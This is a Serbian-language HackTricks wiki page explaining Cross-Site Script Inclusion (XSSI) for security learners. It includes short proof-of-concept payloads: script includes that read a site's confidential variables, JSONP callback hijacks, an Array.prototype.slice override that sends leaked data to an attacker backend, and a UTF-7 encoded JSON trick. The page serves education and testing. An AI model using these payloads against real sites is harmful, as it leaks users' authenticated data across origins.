7.5 KiB
XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Cross-Site Script Inclusion (XSSI) je ranjivost koja proističe iz prirode script
taga u HTML-u. Za razliku od većine resursa, koji podliježu Same-Origin Policy (SOP), skripte se mogu uključivati iz različitih domena. Ovo ponašanje je zamišljeno da olakša korišćenje biblioteka i drugih resursa hostovanih na različitim serverima, ali takođe uvodi potencijalni sigurnosni rizik.
Key Characteristics of XSSI:
- Zaobilaženje SOP: Skripte su izuzete iz Same-Origin Policy, što im omogućava da se uključuju između domena.
- Izloženost podataka: Napadač može iskoristiti ovo ponašanje da pročita podatke učitane putem
script
taga. - Uticaj na dinamički JavaScript/JSONP: XSSI je posebno relevantan za dinamički JavaScript ili JSON with Padding (JSONP). Ove tehnologije često koriste informacije "ambient-authority" (kao što su kolačići) za autentifikaciju. Kada se zahteva skripta sa drugog hosta, ove akreditive (npr. kolačiće) automatski uključuju u zahtev.
- Curjenje autentifikacionih tokena: Ako napadač može da prevari korisnikov pretraživač da zatraži skriptu sa servera koji kontroliše, može imati pristup osetljivim informacijama sadržanim u tim zahtevima.
Types
- Static JavaScript - Ovo predstavlja konvencionalni oblik XSSI.
- Static JavaScript with Authentication - Ova vrsta je posebna jer zahteva autentifikaciju za pristup.
- Dynamic JavaScript - Uključuje JavaScript koji dinamički generiše sadržaj.
- Non-JavaScript - Odnosi se na ranjivosti koje ne uključuju JavaScript direktno.
The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.
Regular XSSI
U ovom pristupu, privatne informacije su ugrađene unutar globalno dostupne JavaScript datoteke. Napadači mogu identifikovati ove datoteke koristeći metode kao što su čitanje datoteka, pretrage ključnih reči ili regularne izraze. Kada se lociraju, skripta koja sadrži privatne informacije može se uključiti u zlonamerni sadržaj, omogućavajući neovlašćen pristup osetljivim podacima. Primer tehnike eksploatacije je prikazan u nastavku:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
Ove vrste XSSI napada uključuju poverljive informacije koje se dinamički dodaju u skriptu kao odgovor na korisnikov zahtev. Detekcija se može izvršiti slanjem zahteva sa i bez kolačića i upoređivanjem odgovora. Ako se informacije razlikuju, to može ukazivati na prisustvo poverljivih informacija. Ovaj proces se može automatizovati korišćenjem alata kao što je DetectDynamicJS Burp ekstenzija.
Ako su poverljivi podaci pohranjeni u globalnoj promenljivoj, mogu se iskoristiti slične metode kao u Regular XSSI. Međutim, ako su poverljivi podaci uključeni u JSONP odgovor, napadači mogu preuzeti funkciju povratnog poziva kako bi dobili informacije. To se može uraditi ili manipulisanjem globalnim objektima ili postavljanjem funkcije koja će biti izvršena od strane JSONP odgovora, kao što je prikazano u nastavku:
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
Za promenljive koje se ne nalaze u globalnom imenskom prostoru, prototype tampering se ponekad može iskoristiti. Ova tehnika koristi dizajn JavaScript-a, gde interpretacija koda uključuje prolazak kroz prototip lanac da bi se locirala pozvana svojstva. Predefinisanjem određenih funkcija, kao što je Array
-ova slice
, napadači mogu pristupiti i otkriti ne-globalne promenljive:
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
Dalje informacije o napadnim vektorima mogu se naći u radu istraživača bezbednosti Sebastian Lekies, koji održava listu vektora.
Non-Script-XSSI
Istraživanje Takeshija Terade uvodi još jedan oblik XSSI, gde se Non-Script datoteke, kao što su CSV, otkrivaju preko različitih domena tako što se uključuju kao izvori u script
tag. Istorijski primeri XSSI, kao što su napad Jeremiah Grossmana iz 2006. godine za čitanje kompletnog Google adresara i curenje JSON podataka Joea Walkera iz 2007. godine, ističu ozbiljnost ovih pretnji. Pored toga, Gareth Heyes opisuje varijantu napada koja uključuje UTF-7 kodirani JSON kako bi se izbegao JSON format i izvršili skripti, što je efikasno u određenim pregledačima:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.